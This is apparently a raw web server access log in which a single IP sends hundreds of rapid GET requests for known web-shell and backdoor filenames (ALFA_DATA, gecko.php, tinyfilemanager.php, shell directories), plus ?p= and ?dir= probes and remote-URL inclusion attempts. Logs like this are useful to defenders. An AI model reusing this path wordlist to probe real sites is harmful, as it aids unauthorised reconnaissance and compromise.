[29/Apr/2025:00:13:47 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:47 -0400] "GET /asasx.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:48 -0400] "GET /aspeV9cCZPQ.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:49 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:49 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:50 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:50 -0400] "GET /assets/images//NOFmvAjT.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:51 -0400] "GET /assets/images//niil.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:51 -0400] "GET /assets/images//scan.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:52 -0400] "GET /assets/images/1741753877buyyx.php7 HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:52 -0400] "GET /assets/images/28c5400b0b.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:53 -0400] "GET /assets/images/doc.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:53 -0400] "GET /assets/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:54 -0400] "GET /assets/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:55 -0400] "GET /assets/vendor/bootstrap/css/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:55 -0400] "GET /assets/xp.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:56 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:56 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:57 -0400] "GET /autoload_classmap.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:57 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:58 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:58 -0400] "GET /b0.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:59 -0400] "GET /bQmw.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:13:59 -0400] "GET /backup.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:00 -0400] "GET /baindex.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:01 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:01 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:02 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:02 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:03 -0400] "GET /ben.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:03 -0400] "GET /bitrix/admin/htmleditor2/natural.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:04 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:05 -0400] "GET /blog/fw.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:05 -0400] "GET /blog/wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:06 -0400] "GET /bob.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:06 -0400] "GET /brU.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:07 -0400] "GET /browse.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:07 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:08 -0400] "GET /bs1.php?d=2f7777772f3030396437 HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:09 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:09 -0400] "GET /buy.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:10 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:10 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:11 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:11 -0400] "GET /cZkmtUnJVfi.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:12 -0400] "GET /cache/b/c/e/b/mdtcshwavxn.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:13 -0400] "GET /cache/d/d/b/d/zwdlhkfyupn.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:13 -0400] "GET /cache/d/h/d/f/ukstnfjlbov.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:14 -0400] "GET /cache/e/e/e/b/abkiszpjdfx.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:14 -0400] "GET /cache/g/a/d/b/qtrxajmpgek.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:15 -0400] "GET /cache/g/c/h/b/tfuoqlvyakp.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:15 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:16 -0400] "GET /cd.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:16 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:17 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:17 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:18 -0400] "GET /cgi-bin/b.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:18 -0400] "GET /cgi-bin/bak.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:19 -0400] "GET /cgi-bin/cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:19 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:20 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:21 -0400] "GET /cgi-bin/head.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:21 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:22 -0400] "GET /cgi-bin/index.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:22 -0400] "GET /cgi-bin/index.php?p=&upload HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:23 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:23 -0400] "GET /cgi-bin/users.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:24 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:25 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:25 -0400] "GET /chosen HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:26 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:26 -0400] "GET /chosen.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:27 -0400] "GET /chosen/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:27 -0400] "GET /chosen?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:28 -0400] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:29 -0400] "GET /class-php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:29 -0400] "GET /class-wp-lock.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:30 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:30 -0400] "GET /class.api.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:31 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:31 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:32 -0400] "GET /classwithtostring.php/rbzccnnp.php/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:32 -0400] "GET /classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:33 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:33 -0400] "GET /click.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:34 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:35 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:35 -0400] "GET /comment.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:36 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:36 -0400] "GET /conf_upload.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:37 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:37 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:38 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:38 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:39 -0400] "GET /cong.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:40 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:40 -0400] "GET /contacts.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:41 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:41 -0400] "GET /content.php888 HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:42 -0400] "GET /cpouchon/ORTHOSKIM HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:42 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:43 -0400] "GET /css.php/cloud.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:43 -0400] "GET /css.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:44 -0400] "GET /css/.tmp/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:45 -0400] "GET /css/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:45 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:46 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:47 -0400] "GET /css/cong.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:47 -0400] "GET /css/default.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:48 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:48 -0400] "GET /css/nop.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:49 -0400] "GET /css/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:50 -0400] "GET /csv.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:51 -0400] "GET /custom-background.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:51 -0400] "GET /cux.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:52 -0400] "GET /d.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:52 -0400] "GET /d8Q4AflCtoJ.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:53 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:53 -0400] "GET /data/.backup.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:54 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:54 -0400] "GET /defaul1.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:55 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:55 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:56 -0400] "GET /dg6Umx2OrVh.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:57 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:57 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:58 -0400] "GET /dropdown.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:58 -0400] "GET /ds.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:59 -0400] "GET /e.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:14:59 -0400] "GET /eVhyNnBmDl4.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:00 -0400] "GET /ecoraiderusa.com/cong.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:00 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:01 -0400] "GET /edit.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:02 -0400] "GET /ee.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:02 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:03 -0400] "GET /erin1.PhP7 HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:03 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:04 -0400] "GET /error.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:04 -0400] "GET /es-ar//wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:05 -0400] "GET /exploits7.my.id HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:06 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:06 -0400] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:07 -0400] "GET /f8P2t5IOcAq.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:08 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:08 -0400] "GET /feed/atom/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:09 -0400] "GET /fex.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:09 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:10 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:10 -0400] "GET /file.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:11 -0400] "GET /file2.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:11 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:12 -0400] "GET /filemanager.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:12 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:13 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:13 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:14 -0400] "GET /files//tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:15 -0400] "GET /files/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:15 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:16 -0400] "GET /files/log.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:16 -0400] "GET /fkHOiaRx2.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:17 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:17 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:18 -0400] "GET /fm.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:18 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:19 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:19 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:20 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:21 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:21 -0400] "GET /fx.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:22 -0400] "GET /g.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:22 -0400] "GET /gawean.PhP7 HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:23 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:24 -0400] "GET /geLVvYmAkdO.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:24 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:25 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:25 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:26 -0400] "GET /geylY2B94sm.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:26 -0400] "GET /ggfi.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:27 -0400] "GET /gins/wp-help/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:28 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:28 -0400] "GET /go.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:29 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:29 -0400] "GET /good.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:30 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:30 -0400] "GET /gxurwGYPKWI.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:31 -0400] "GET /header.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:31 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:32 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:32 -0400] "GET /hitech-news.com HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:33 -0400] "GET /htdocs/shell/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:33 -0400] "GET /i.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:34 -0400] "GET /iVrp6IoqXQc.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:35 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:35 -0400] "GET /images//edit.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:36 -0400] "GET /images/404.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:36 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:37 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:37 -0400] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:38 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:39 -0400] "GET /images/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:39 -0400] "GET /images/lmfi2.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:40 -0400] "GET /images/mm55.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:40 -0400] "GET /images/server.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:41 -0400] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:41 -0400] "GET /images/xBrain.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:42 -0400] "GET /images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:42 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:43 -0400] "GET /indeex.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:43 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:44 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:45 -0400] "GET /index.php?debug=1&test=phpinfo HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:45 -0400] "GET /index.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:46 -0400] "GET /index/about.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:46 -0400] "GET /index/admin.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:47 -0400] "GET /index/ben.php?dir=. HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:47 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:48 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:48 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:49 -0400] "GET /index/function.php?p= HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:49 -0400] "GET /index/function.phphttps://trezurekart.com/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:50 -0400] "GET /index/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:51 -0400] "GET /index/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:52 -0400] "GET /index/x.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:52 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:53 -0400] "GET /info.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:53 -0400] "GET /info.php/ HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:54 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:55 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:55 -0400] "GET /inputs.php?dir=/home/bfstatyba/domains/bfstatyba.lt/public_html HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:56 -0400] "GET /inputs.php?p=https://dunamisconcept.com.ng/item.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:57 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:57 -0400] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:58 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:58 -0400] "GET /ispeconline.com/css/index.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:15:59 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:00 -0400] "GET /iz4kDodqPnH.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:00 -0400] "GET /j.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:01 -0400] "GET /jNY9.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - - [29/Apr/2025:00:16:01 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "-" 13.94.89.4 - 